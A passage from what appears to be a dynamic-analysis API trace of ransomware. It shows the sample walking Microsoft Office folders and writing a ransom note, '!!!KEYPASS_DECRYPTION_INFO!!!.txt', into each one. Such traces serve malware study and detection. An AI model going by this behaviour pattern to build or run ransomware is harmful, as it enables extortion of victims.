Office\\root\\Office16\\Library\\Analysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\ANALYS32.XLL") returned=".XLL" [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\ATPVBAEN.XLAM") returned=".XLAM" [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\FUNCRES.XLAM") returned=".XLAM" [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\PROCDB.XLAM") returned=".XLAM" [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.916] FindNextFileW (in: hFindFile=0x3876280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\EUROTOOL.XLAM") returned=".XLAM" [0257.916] FindNextFileW (in: hFindFile=0x3876280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.916] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.916] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.916] GetLastError () returned 0x3f0 [0257.916] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.917] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\solver\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa78 [0258.009] GetFileType (hFile=0xa78) returned 0x1 [0258.009] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0258.009] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0258.009] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0258.009] WriteFile (in: hFile=0xa78, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0258.013] WriteFile (in: hFile=0xa78, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0258.013] CloseHandle (hObject=0xa78) returned 1 [0258.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3875f80 [0258.013] FindNextFileW (in: hFindFile=0x3875f80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.013] FindNextFileW (in: hFindFile=0x3875f80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.014] FindNextFileW (in: hFindFile=0x3875f80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\SOLVER.XLAM") returned=".XLAM" [0258.014] FindNextFileW (in: hFindFile=0x3875f80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0258.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\SOLVER32.DLL") returned=".DLL" [0258.014] FindNextFileW (in: hFindFile=0x3875f80, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0258.014] FindNextFileW (in: hFindFile=0x3876280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0258.014] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.081] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LOGELEMS.DLL") returned=".DLL" [0258.081] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.081] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LOGMODEL.MDL") returned=".MDL" [0258.081] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.081] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0258.081] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.081] GetLastError () returned 0x3f0 [0258.081] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.082] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa80 [0258.098] GetFileType (hFile=0xa80) returned 0x1 [0258.098] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0258.098] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0258.098] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0258.099] WriteFile (in: hFile=0xa80, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0258.099] WriteFile (in: hFile=0xa80, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0258.099] CloseHandle (hObject=0xa80) returned 1 [0258.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3876400 [0258.100] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png") returned=".png" [0258.103] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.104] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png") returned=".png" [0258.104] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.108] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.108] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.109] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png") returned=".png" [0258.109] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.113] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png") returned=".png" [0258.113] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.113] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png") returned=".png" [0258.113] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.113] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png") returned=".png" [0258.113] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png") returned=".png" [0258.114] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.114] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW 